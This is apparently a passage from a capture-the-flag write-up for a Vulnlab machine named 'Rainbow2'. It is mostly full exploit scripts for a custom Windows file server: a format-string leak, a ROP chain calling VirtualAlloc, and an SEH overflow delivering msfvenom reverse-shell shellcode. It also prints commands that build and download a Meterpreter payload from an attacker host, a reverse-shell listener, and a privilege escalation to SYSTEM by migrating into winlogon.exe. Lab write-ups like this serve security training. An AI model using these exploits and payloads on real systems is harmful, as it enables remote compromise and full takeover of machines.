shell = remote("192.168.3.65", 2121)
shell.sendline(b"TEST %p.%p")
shell.recvuntil(b".")
binary_base = int(shell.recvline().strip(), 16) - 0x14120
rop = b""
rop += p32(binary_base + 0x01010) * 30 # ret;
# $ecx = 0x40
rop += p32(binary_base + 0x3711a) # pop eax; ret;
rop += p32(0x8314c2ab) # offset + 0x40
rop += p32(binary_base + 0x32ce4) # sub eax, 0x8314c26b; ret;
rop += p32(binary_base + 0x01068) # pop esi; ret;
rop += p32(binary_base + 0x01068) # pop esi; ret;
rop += p32(binary_base + 0x48ca8) # xchg edi, eax; ret;
rop += p32(binary_base + 0x15638) # mov ecx, edi; call esi;
# $edx = 0x1000
rop += p32(binary_base + 0x3711a) # pop eax; ret;
rop += p32(0x8314d26b) # offset + 0x1000
rop += p32(binary_base + 0x32ce4) # sub eax, 0x8314c26b; ret;
rop += p32(binary_base + 0x3039f) # mov edx, eax; mov eax, esi; pop esi; ret;
rop += p32(0x41414141) # padding for pop
# $ebx = 0x1
rop += p32(binary_base + 0x0dc14) # pop ebx; ret;
rop += p32(0xffffffff) # -1
rop += p32(binary_base + 0x301e9) # inc ebx; ret;
rop += p32(binary_base + 0x301e9) # inc ebx; ret;
# $ebp = pop ebp; ret;
rop += p32(binary_base + 0x0100f) # pop ebp; ret;
rop += p32(binary_base + 0x0100f) # pop ebp; ret;
# $esi = jmp eax
rop += p32(binary_base + 0x01068) # pop esi; ret;
rop += p32(binary_base + 0x14af9) # jmp eax;
# $eax = VirtualAlloc()
rop += p32(binary_base + 0x15354) # pop edi; ret;
rop += p32(0xffffcec0) # VirtualAlloc() - TlsAlloc()
rop += p32(binary_base + 0x3711a) # pop eax; ret;
rop += p32(binary_base + 0x9013c) # TlsAlloc()
rop += p32(binary_base + 0x2bb8e) # mov eax, dword ptr [eax]; ret;
rop += p32(binary_base + 0x113a8) # add eax, edi; ret;
# $edi = ret;
rop += p32(binary_base + 0x15354) # pop edi; ret;
rop += p32(binary_base + 0x01010) # ret;
# call VirtualAlloc()
rop += p32(binary_base + 0x113b1) # pushad; ret;
rop += p32(binary_base + 0x11394) # jmp esp;
shellcode = b""
shellcode += b"C" * 100
offset = 1032
junk = b"A" * (offset - len(rop + shellcode))
nseh = b"B" * 4
seh = p32(binary_base + 0x11396) # add esp, 0xe10; ret;
payload = b""
payload += rop
payload += shellcode
payload += junk
payload += nseh + seh
payload += b"D" * (4000 - len(payload))
shell.sendline(b"TEST " + payload)
shell.interactive()
To see that it works we can set a breakpoint at VirtualAlloc, when it gets there we can check that the parameters are set correctly:
0:000> bp kernel32!VirtualAllocStub
0:000> dds esp + 4 L4
0194f700 0194f714
0194f704 00000001
0194f708 00001000
0194f70c 00000040
After executing the function if we see the stack protection again instead of 0x4 now we have the value 0x40 that is equivalent to the value of PAGE_EXECUTE_READWRITE:
0:000> pt
eax=0194f000 ebx=00000001 ecx=4e7f0000 edx=0194f000 esi=3f2a4af9 edi=3f291010
eip=75f1274c esp=0194f6fc ebp=3f29100f iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246
KERNELBASE!VirtualAlloc+0x4c:
75f1274c c21000 ret 10h
0:000> !vprot esp
BaseAddress: 0194f000
AllocationBase: 01850000
AllocationProtect: 00000004 PAGE_READWRITE
RegionSize: 00001000
State: 00001000 MEM_COMMIT
Protect: 00000040 PAGE_EXECUTE_READWRITE
Type: 00020000 MEM_PRIVATE
If we continue the execution we will reach the one jmp esp who will execute our C's:
0:000> pt
eax=0194f000 ebx=00000001 ecx=4e7f0000 edx=0194f000 esi=3f2a4af9 edi=3f291010
eip=3f291010 esp=0194f714 ebp=756c6250 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246
filesrv+0x1010:
3f291010 c3 ret
0:000> p
eax=0194f000 ebx=00000001 ecx=4e7f0000 edx=0194f000 esi=3f2a4af9 edi=3f291010
eip=3f2a1394 esp=0194f718 ebp=756c6250 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246
filesrv+0x11394:
3f2a1394 ffe4 jmp esp {0194f718}
0:000> db esp
0194f718 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC
0194f728 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC
0194f738 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC
0194f748 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC
0194f758 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC
0194f768 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC
0194f778 43 43 43 43 41 41 41 41-41 41 41 41 41 41 41 41 CCCCAAAAAAAAAAAA
0194f788 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
Since we can execute a shellcode with this exploit we only have to generate a new shellcode using msfvenom which sends a reverse shell through the port 443 for the final stage.
Our final exploit starts by overwriting the driver SEH with a stack pivot that returns a ropchain which calls VirtualAlloc to change the stack privileges, once it is executable it jumps to the shellcode and executes the reverse shell.
For the POC, we will proceed with local test to launch a calculator app.
Proof Of Concept - POC
Pre-requirement: $ sudo apt install python3-pwntools
$ cat poc.py
#!/usr/bin/python3
from pwn import remote, p32, pause
shell = remote("Windows", 2121)
shell.sendline(b"TEST %p.%p")
shell.recvuntil(b".")
binary_base = int(shell.recvline().strip(), 16) - 0x14120
rop = b""
rop += p32(binary_base + 0x01010) * 30 # ret;
rop += p32(binary_base + 0x3711a) # pop eax; ret;
rop += p32(0x8314c2ab) # offset + 0x40
rop += p32(binary_base + 0x32ce4) # sub eax, 0x8314c26b; ret;
rop += p32(binary_base + 0x01068) # pop esi; ret;
rop += p32(binary_base + 0x01068) # pop esi; ret;
rop += p32(binary_base + 0x48ca8) # xchg edi, eax; ret;
rop += p32(binary_base + 0x15638) # mov ecx, edi; call esi;
rop += p32(binary_base + 0x3711a) # pop eax; ret;
rop += p32(0x8314d26b) # offset + 0x1000
rop += p32(binary_base + 0x32ce4) # sub eax, 0x8314c26b; ret;
rop += p32(binary_base + 0x3039f) # mov edx, eax; mov eax, esi; pop esi; ret;
rop += p32(0x41414141) # padding for pop
rop += p32(binary_base + 0x0dc14) # pop ebx; ret;
rop += p32(0xffffffff) # -1
rop += p32(binary_base + 0x301e9) # inc ebx; ret;
rop += p32(binary_base + 0x301e9) # inc ebx; ret;
rop += p32(binary_base + 0x0100f) # pop ebp; ret;
rop += p32(binary_base + 0x0100f) # pop ebp; ret;
rop += p32(binary_base + 0x01068) # pop esi; ret;
rop += p32(binary_base + 0x14af9) # jmp eax;
rop += p32(binary_base + 0x15354) # pop edi; ret;
rop += p32(0xffffcec0) # VirtualAlloc() - TlsAlloc()
rop += p32(binary_base + 0x3711a) # pop eax; ret;
rop += p32(binary_base + 0x9013c) # TlsAlloc()
rop += p32(binary_base + 0x2bb8e) # mov eax, dword ptr [eax]; ret;
rop += p32(binary_base + 0x113a8) # add eax, edi; ret;
rop += p32(binary_base + 0x15354) # pop edi; ret;
rop += p32(binary_base + 0x01010) # ret;
rop += p32(binary_base + 0x113b1) # pushad; ret;
rop += p32(binary_base + 0x11394) # jmp esp;
# msfvenom -p windows/exec CMD=calc.exe -b '\x00\x09\x0a\x0b\x0c\x0d\x20\x25' -f python -v shellcode -e x86/shikata_ga_nai -n 16
shellcode = b""
shellcode += b"\x3f\x41\x4a\x27\x41\x40\xf8\xd6\x41\x9f\x9b"
shellcode += b"\x41\x90\x99\x98\x27\xd9\xf7\xd9\x74\x24\xf4"
shellcode += b"\xba\x68\x1d\xc1\x42\x5e\x33\xc9\xb1\x31\x83"
shellcode += b"\xee\xfc\x31\x56\x14\x03\x56\x7c\xff\x34\xbe"
shellcode += b"\x94\x7d\xb6\x3f\x64\xe2\x3e\xda\x55\x22\x24"
shellcode += b"\xae\xc5\x92\x2e\xe2\xe9\x59\x62\x17\x7a\x2f"
shellcode += b"\xab\x18\xcb\x9a\x8d\x17\xcc\xb7\xee\x36\x4e"
shellcode += b"\xca\x22\x99\x6f\x05\x37\xd8\xa8\x78\xba\x88"
shellcode += b"\x61\xf6\x69\x3d\x06\x42\xb2\xb6\x54\x42\xb2"
shellcode += b"\x2b\x2c\x65\x93\xfd\x27\x3c\x33\xff\xe4\x34"
shellcode += b"\x7a\xe7\xe9\x71\x34\x9c\xd9\x0e\xc7\x74\x10"
shellcode += b"\xee\x64\xb9\x9d\x1d\x74\xfd\x19\xfe\x03\xf7"
shellcode += b"\x5a\x83\x13\xcc\x21\x5f\x91\xd7\x81\x14\x01"
shellcode += b"\x3c\x30\xf8\xd4\xb7\x3e\xb5\x93\x90\x22\x48"
shellcode += b"\x77\xab\x5e\xc1\x76\x7c\xd7\x91\x5c\x58\xbc"
shellcode += b"\x42\xfc\xf9\x18\x24\x01\x19\xc3\x99\xa7\x51"
shellcode += b"\xe9\xce\xd5\x3b\x67\x10\x6b\x46\xc5\x12\x73"
shellcode += b"\x49\x79\x7b\x42\xc2\x16\xfc\x5b\x01\x53\xf2"
shellcode += b"\x11\x08\xf5\x9b\xff\xd8\x44\xc6\xff\x36\x8a"
shellcode += b"\xff\x83\xb2\x72\x04\x9b\xb6\x77\x40\x1b\x2a"
shellcode += b"\x05\xd9\xce\x4c\xba\xda\xda\x2e\x5d\x49\x86"
shellcode += b"\x9e\xf8\xe9\x2d\xdf"
offset = 1032
junk = b"A" * (offset - len(rop + shellcode))
nseh = b"B" * 4
seh = p32(binary_base + 0x11396) # add esp, 0xe10; ret;
payload = b""
payload += rop
payload += shellcode
payload += junk
payload += nseh + seh
payload += b"D" * (4000 - len(payload))
shell.sendline(b"TEST " + payload)
shell.interactive()
Let’s go to PWN (dev)
Create our Metasploit payload:
$ msfvenom -p windows/shell_reverse_tcp LHOST=10.8.4.253 LPORT=443 -b '\x00\x09\x0a\x0b\x0c\x0d\x20\x25' -f python -v shellcode -e x86/shikata_ga_nai -n 16
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 351 (iteration=0)
x86/shikata_ga_nai chosen with final size 351
Successfully added NOP sled of size 16 from x86/single_byte
Payload size: 367 bytes
Final size of python file: 2063 bytes
shellcode = b""
shellcode += b"\x9b\x4b\xf9\x43\x2f\x4b\x90\xf9\x27\x91\x40"
shellcode += b"\x90\x48\x27\x41\x37\xbe\xb5\xeb\xd2\xdb\xda"
shellcode += b"\xd9\xd9\x74\x24\xf4\x58\x29\xc9\xb1\x52\x83"
shellcode += b"\xe8\xfc\x31\x70\x0e\x03\xc5\xe5\x30\x2e\xd9"
shellcode += b"\x12\x36\xd1\x21\xe3\x57\x5b\xc4\xd2\x57\x3f"
shellcode += b"\x8d\x45\x68\x4b\xc3\x69\x03\x19\xf7\xfa\x61"
shellcode += b"\xb6\xf8\x4b\xcf\xe0\x37\x4b\x7c\xd0\x56\xcf"
shellcode += b"\x7f\x05\xb8\xee\x4f\x58\xb9\x37\xad\x91\xeb"
shellcode += b"\xe0\xb9\x04\x1b\x84\xf4\x94\x90\xd6\x19\x9d"
shellcode += b"\x45\xae\x18\x8c\xd8\xa4\x42\x0e\xdb\x69\xff"
shellcode += b"\x07\xc3\x6e\x3a\xd1\x78\x44\xb0\xe0\xa8\x94"
shellcode += b"\x39\x4e\x95\x18\xc8\x8e\xd2\x9f\x33\xe5\x2a"
shellcode += b"\xdc\xce\xfe\xe9\x9e\x14\x8a\xe9\x39\xde\x2c"
shellcode += b"\xd5\xb8\x33\xaa\x9e\xb7\xf8\xb8\xf8\xdb\xff"
shellcode += b"\x6d\x73\xe7\x74\x90\x53\x61\xce\xb7\x77\x29"
shellcode += b"\x94\xd6\x2e\x97\x7b\xe6\x30\x78\x23\x42\x3b"
shellcode += b"\x95\x30\xff\x66\xf2\xf5\x32\x98\x02\x92\x45"
shellcode += b"\xeb\x30\x3d\xfe\x63\x79\xb6\xd8\x74\x7e\xed"
shellcode += b"\x9d\xea\x81\x0e\xde\x23\x46\x5a\x8e\x5b\x6f"
shellcode += b"\xe3\x45\x9b\x90\x36\xc9\xcb\x3e\xe9\xaa\xbb"
shellcode += b"\xfe\x59\x43\xd1\xf0\x86\x73\xda\xda\xae\x1e"
shellcode += b"\x21\x8d\xda\xd6\x2d\xb0\xb3\xe4\x2d\x4b\xff"
shellcode += b"\x60\xcb\x21\xef\x24\x44\xde\x96\x6c\x1e\x7f"
shellcode += b"\x56\xbb\x5b\xbf\xdc\x48\x9c\x0e\x15\x24\x8e"
shellcode += b"\xe7\xd5\x73\xec\xae\xea\xa9\x98\x2d\x78\x36"
shellcode += b"\x58\x3b\x61\xe1\x0f\x6c\x57\xf8\xc5\x80\xce"
shellcode += b"\x52\xfb\x58\x96\x9d\xbf\x86\x6b\x23\x3e\x4a"
shellcode += b"\xd7\x07\x50\x92\xd8\x03\x04\x4a\x8f\xdd\xf2"
shellcode += b"\x2c\x79\xac\xac\xe6\xd6\x66\x38\x7e\x15\xb9"
shellcode += b"\x3e\x7f\x70\x4f\xde\xce\x2d\x16\xe1\xff\xb9"
shellcode += b"\x9e\x9a\x1d\x5a\x60\x71\xa6\x6a\x2b\xdb\x8f"
shellcode += b"\xe2\xf2\x8e\x8d\x6e\x05\x65\xd1\x96\x86\x8f"
shellcode += b"\xaa\x6c\x96\xfa\xaf\x29\x10\x17\xc2\x22\xf5"
shellcode += b"\x17\x71\x42\xdc"
Our final python script exploit.py :
$ cat exploit.py
#!/usr/bin/python3
from pwn import remote, p32, pause
shell = remote("10.10.89.134", 2121)
shell.sendline(b"TEST %p.%p")
shell.recvuntil(b".")
binary_base = int(shell.recvline().strip(), 16) - 0x14120
rop = b""
rop += p32(binary_base + 0x01010) * 30 # ret;
rop += p32(binary_base + 0x3711a) # pop eax; ret;
rop += p32(0x8314c2ab) # offset + 0x40
rop += p32(binary_base + 0x32ce4) # sub eax, 0x8314c26b; ret;
rop += p32(binary_base + 0x01068) # pop esi; ret;
rop += p32(binary_base + 0x01068) # pop esi; ret;
rop += p32(binary_base + 0x48ca8) # xchg edi, eax; ret;
rop += p32(binary_base + 0x15638) # mov ecx, edi; call esi;
rop += p32(binary_base + 0x3711a) # pop eax; ret;
rop += p32(0x8314d26b) # offset + 0x1000
rop += p32(binary_base + 0x32ce4) # sub eax, 0x8314c26b; ret;
rop += p32(binary_base + 0x3039f) # mov edx, eax; mov eax, esi; pop esi; ret;
rop += p32(0x41414141) # padding for pop
rop += p32(binary_base + 0x0dc14) # pop ebx; ret;
rop += p32(0xffffffff) # -1
rop += p32(binary_base + 0x301e9) # inc ebx; ret;
rop += p32(binary_base + 0x301e9) # inc ebx; ret;
rop += p32(binary_base + 0x0100f) # pop ebp; ret;
rop += p32(binary_base + 0x0100f) # pop ebp; ret;
rop += p32(binary_base + 0x01068) # pop esi; ret;
rop += p32(binary_base + 0x14af9) # jmp eax;
rop += p32(binary_base + 0x15354) # pop edi; ret;
rop += p32(0xffffcec0) # VirtualAlloc() - TlsAlloc()
rop += p32(binary_base + 0x3711a) # pop eax; ret;
rop += p32(binary_base + 0x9013c) # TlsAlloc()
rop += p32(binary_base + 0x2bb8e) # mov eax, dword ptr [eax]; ret;
rop += p32(binary_base + 0x113a8) # add eax, edi; ret;
rop += p32(binary_base + 0x15354) # pop edi; ret;
rop += p32(binary_base + 0x01010) # ret;
rop += p32(binary_base + 0x113b1) # pushad; ret;
rop += p32(binary_base + 0x11394) # jmp esp;
# msfvenom -p windows/shell_reverse_tcp LHOST=10.8.4.253 LPORT=443 -b '\x00\x09\x0a\x0b\x0c\x0d\x20\x25' -f python -v shellcode -e x86/shikata_ga_nai -n 16
shellcode = b""
shellcode += b"\x9b\x4b\xf9\x43\x2f\x4b\x90\xf9\x27\x91\x40"
shellcode += b"\x90\x48\x27\x41\x37\xbe\xb5\xeb\xd2\xdb\xda"
shellcode += b"\xd9\xd9\x74\x24\xf4\x58\x29\xc9\xb1\x52\x83"
shellcode += b"\xe8\xfc\x31\x70\x0e\x03\xc5\xe5\x30\x2e\xd9"
shellcode += b"\x12\x36\xd1\x21\xe3\x57\x5b\xc4\xd2\x57\x3f"
shellcode += b"\x8d\x45\x68\x4b\xc3\x69\x03\x19\xf7\xfa\x61"
shellcode += b"\xb6\xf8\x4b\xcf\xe0\x37\x4b\x7c\xd0\x56\xcf"
shellcode += b"\x7f\x05\xb8\xee\x4f\x58\xb9\x37\xad\x91\xeb"
shellcode += b"\xe0\xb9\x04\x1b\x84\xf4\x94\x90\xd6\x19\x9d"
shellcode += b"\x45\xae\x18\x8c\xd8\xa4\x42\x0e\xdb\x69\xff"
shellcode += b"\x07\xc3\x6e\x3a\xd1\x78\x44\xb0\xe0\xa8\x94"
shellcode += b"\x39\x4e\x95\x18\xc8\x8e\xd2\x9f\x33\xe5\x2a"
shellcode += b"\xdc\xce\xfe\xe9\x9e\x14\x8a\xe9\x39\xde\x2c"
shellcode += b"\xd5\xb8\x33\xaa\x9e\xb7\xf8\xb8\xf8\xdb\xff"
shellcode += b"\x6d\x73\xe7\x74\x90\x53\x61\xce\xb7\x77\x29"
shellcode += b"\x94\xd6\x2e\x97\x7b\xe6\x30\x78\x23\x42\x3b"
shellcode += b"\x95\x30\xff\x66\xf2\xf5\x32\x98\x02\x92\x45"
shellcode += b"\xeb\x30\x3d\xfe\x63\x79\xb6\xd8\x74\x7e\xed"
shellcode += b"\x9d\xea\x81\x0e\xde\x23\x46\x5a\x8e\x5b\x6f"
shellcode += b"\xe3\x45\x9b\x90\x36\xc9\xcb\x3e\xe9\xaa\xbb"
shellcode += b"\xfe\x59\x43\xd1\xf0\x86\x73\xda\xda\xae\x1e"
shellcode += b"\x21\x8d\xda\xd6\x2d\xb0\xb3\xe4\x2d\x4b\xff"
shellcode += b"\x60\xcb\x21\xef\x24\x44\xde\x96\x6c\x1e\x7f"
shellcode += b"\x56\xbb\x5b\xbf\xdc\x48\x9c\x0e\x15\x24\x8e"
shellcode += b"\xe7\xd5\x73\xec\xae\xea\xa9\x98\x2d\x78\x36"
shellcode += b"\x58\x3b\x61\xe1\x0f\x6c\x57\xf8\xc5\x80\xce"
shellcode += b"\x52\xfb\x58\x96\x9d\xbf\x86\x6b\x23\x3e\x4a"
shellcode += b"\xd7\x07\x50\x92\xd8\x03\x04\x4a\x8f\xdd\xf2"
shellcode += b"\x2c\x79\xac\xac\xe6\xd6\x66\x38\x7e\x15\xb9"
shellcode += b"\x3e\x7f\x70\x4f\xde\xce\x2d\x16\xe1\xff\xb9"
shellcode += b"\x9e\x9a\x1d\x5a\x60\x71\xa6\x6a\x2b\xdb\x8f"
shellcode += b"\xe2\xf2\x8e\x8d\x6e\x05\x65\xd1\x96\x86\x8f"
shellcode += b"\xaa\x6c\x96\xfa\xaf\x29\x10\x17\xc2\x22\xf5"
shellcode += b"\x17\x71\x42\xdc"
offset = 1032
junk = b"A" * (offset - len(rop + shellcode))
nseh = b"B" * 4
seh = p32(binary_base + 0x11396) # add esp, 0xe10; ret;
payload = b""
payload += rop
payload += shellcode
payload += junk
payload += nseh + seh
payload += b"D" * (4000 - len(payload))
shell.sendline(b"TEST " + payload)
shell.interactive()
Set a Penelope listener:
$ penelope 443 -i tun0
[+] Listening for reverse shells on 10.8.4.253:443
➤ 🏠 Main Menu (m) 💀 Payloads (p) 🔄 Clear (Ctrl-L) 🚫 Quit (q/Ctrl-C)
Execute our python exploit:
$ python3 exploit.py
[+] Opening connection to 10.10.89.134 on port 2121: Done
[*] Switching to interactive mode
$
Got our shell as dev:
[+] Got reverse shell from 10.10.89.134 😍️ Assigned SessionID <1>
[+] Added readline support...
[+] Interacting with session [1], Shell Type: Basic, Menu key: Ctrl-D
[+] Logging to /home/user/.penelope/10.10.89.134/10.10.89.134.log 📜
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
C:\shared>whoami
whoami
rainbow2\dev
Privilege escalation
SeDebugPrivilege abusing
Check the privileges:
C:\shared>whoami /priv
whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ============================== ========
SeDebugPrivilege Debug programs Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeCreateGlobalPrivilege Create global objects Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
Found
SeDebugPrivilege, this privilege allows us to synchronize with any process of any user (including Admin user or Process with High privilege).
We will create a new MSF implant then we can use it to escalate to high privilege process to become SYSTEM.
Create a new MSF payload:
$ msfvenom -a x64 --platform windows -p windows/x64/meterpreter/reverse_tcp LHOST=10.8.4.253 LPORT=4443 -f exe -o rshell.exe
No encoder specified, outputting raw payload
Payload size: 510 bytes
Final size of exe file: 7168 bytes
Saved as: rshell.exe
Start a new Meterpreter listener:
$ msfconsole -qx "use exploit/multi/handler; set payload windows/x64/meterpreter/reverse_tcp; set LHOST tun0; set LPORT 4443; set ExitOnSession false; exploit -j"
[*] Using configured payload generic/shell_reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp
LHOST => tun0
LPORT => 4443
ExitOnSession => false
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
[*] Started reverse TCP handler on 10.8.4.253:4443
msf6 exploit(multi/handler) >
Start a local web server:
$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
Upload our new reverse shell to our dev session then execute it:
c:\ProgramData>curl 10.8.4.253/rshell.exe -o rshell.exe
c:\ProgramData>rshell.exe
Then we got our new shell:
[*] Sending stage (203846 bytes) to 10.10.89.134
[*] Meterpreter session 1 opened (10.8.4.253:4443 -> 10.10.89.134:51092) at 2025-03-01 18:13:36 +0900
msf6 exploit(multi/handler) > sessions
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
1 meterpreter x64/windows RAINBOW2\dev @ RAINBOW2 10.8.4.253:4443 -> 10.10.89.134:51092 (10.10.89.134)
Now we abuse the SeDebugPrivilege privilege migrating to a process with high privileges such as winlogon.exe, after migrated we become the user who runs that process, in this case it is the user nt authority\system:
meterpreter > ps
Process List
============
PID PPID Name Arch Session User Path
--- ---- ---- ---- ------- ---- ----
0 0 [System Process]
4 0 System x64 0
76 4 Registry x64 0
420 4 smss.exe x64 0
552 784 svchost.exe x64 0 C:\Windows\System32\svchost.exe
592 584 csrss.exe x64 0
656 648 csrss.exe x64 1
700 584 wininit.exe x64 0
716 648 winlogon.exe x64 1 C:\Windows\System32\winlogon.exe
780 784 svchost.exe x64 0 C:\Windows\System32\svchost.exe
784 700 services.exe x64 0
804 700 lsass.exe x64 0 C:\Windows\System32\lsass.exe
864 716 dwm.exe x64 1 C:\Windows\System32\dwm.exe
912 784 svchost.exe x64 0 C:\Windows\System32\svchost.exe
948 700 fontdrvhost.exe x64 0 C:\Windows\System32\fontdrvhost.exe
956 716 fontdrvhost.exe x64 1 C:\Windows\System32\fontdrvhost.exe
1004 784 svchost.exe x64 0 C:\Windows\System32\svchost.exe
1016 784 svchost.exe x64 0 C:\Windows\System32\svchost.exe
1088 784 svchost.exe x64 0 C:\Windows\System32\svchost.exe
1200 784 svchost.exe x64 0 C:\Windows\System32\svchost.exe
1260 784 svchost.exe x64 0 C:\Windows\System32\svchost.exe
1268 784 svchost.exe x64 0 C:\Windows\System32\svchost.exe
1304 784 svchost.exe x64 0 C:\Windows\System32\svchost.exe
1524 2468 conhost.exe x64 0 RAINBOW2\dev C:\Windows\System32\conhost.exe
1636 784 svchost.exe x64 0 C:\Windows\System32\svchost.exe
1736 784 svchost.exe x64 0 C:\Windows\System32\svchost.exe
1768 784 spoolsv.exe x64 0 C:\Windows\System32\spoolsv.exe
1776 2128 rshell.exe x64 0 RAINBOW2\dev C:\ProgramData\rshell.exe
1808 2164 MicrosoftEdgeUpdate.exe x86 0 C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe
1820 784 svchost.exe x64 0 C:\Windows\System32\svchost.exe
1892 784 svchost.exe x64 0 C:\Windows\System32\svchost.exe
1976 784 svchost.exe x64 0 C:\Windows\System32\svchost.exe
2008 784 LiteAgent.exe x64 0 C:\Program Files\Amazon\XenTools\LiteAgent.exe
2032 784 IpOverUsbSvc.exe x86 0 C:\Program Files (x86)\Common Files\Microsoft Shared\Phone Tools\CoreCon\11.0\bin\IpOverUsb
Svc.exe
2128 2476 cmd.exe x86 0 RAINBOW2\dev C:\Windows\SysWOW64\cmd.exe
2428 784 svchost.exe x64 0
2468 784 nssm.exe x64 0 RAINBOW2\dev C:\apps\nssm.exe
2476 2468 filesrv.exe x86 0 RAINBOW2\dev C:\apps\filesrv.exe
2500 784 svchost.exe x64 0 C:\Windows\System32\svchost.exe
2836 716 LogonUI.exe x64 1 C:\Windows\System32\LogonUI.exe
3064 784 msdtc.exe x64 0 C:\Windows\System32\msdtc.exe
meterpreter > migrate -N winlogon.exe
[*] Migrating from 3004 to 716...
[*] Migration completed successfully.
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
Finally grab the Rainbow2_Root flag:
meterpreter > cat c:\\users\\administrator\\desktop\\root.txt
VL{1ba7e2ca0e3fe284339532a8e7ba05f4}
Extra
Challenge solved! Use this link to share it: https://api.vulnlab.com/api/v1/share?id=84663b63-1372-49df-92ad-ac9fe55952ae

Guidance
User
- Exploit the binary. Here is a basic PoC to get started:
#!/usr/bin/env python3
from pwn import *
offset = 1032
size = 4000
p = remote('',2121, typ='tcp', level='debug')
p.sendline(b"LST |%p|%p|%p|%p|")
leak = p.recvline(keepends=False).split(b"|")[1:]
binary_leak = int(leak[1].decode(),16)
binary_base = binary_leak - 0x14120;
log.info("Binary base: "+hex(binary_base))
log.info("Sending payload..")
buf = b""
buf += b"LST "
buf += b"A" * (offset)
buf += b"B" * 4 # nseh
buf += b"C" * 4 # seh
buf += b"D" * (size-len(buf))
p.sendline(buf)
input("Press enter to continue..")
p.close()
To get it working on the remote, make sure to write a very clean exploit:
Don’t Virtual Protect more memory than you need to
Allocate as little memory as possible
Use small shellcode
Pay attention to all bad bytes
Root
- Look at your privileges.
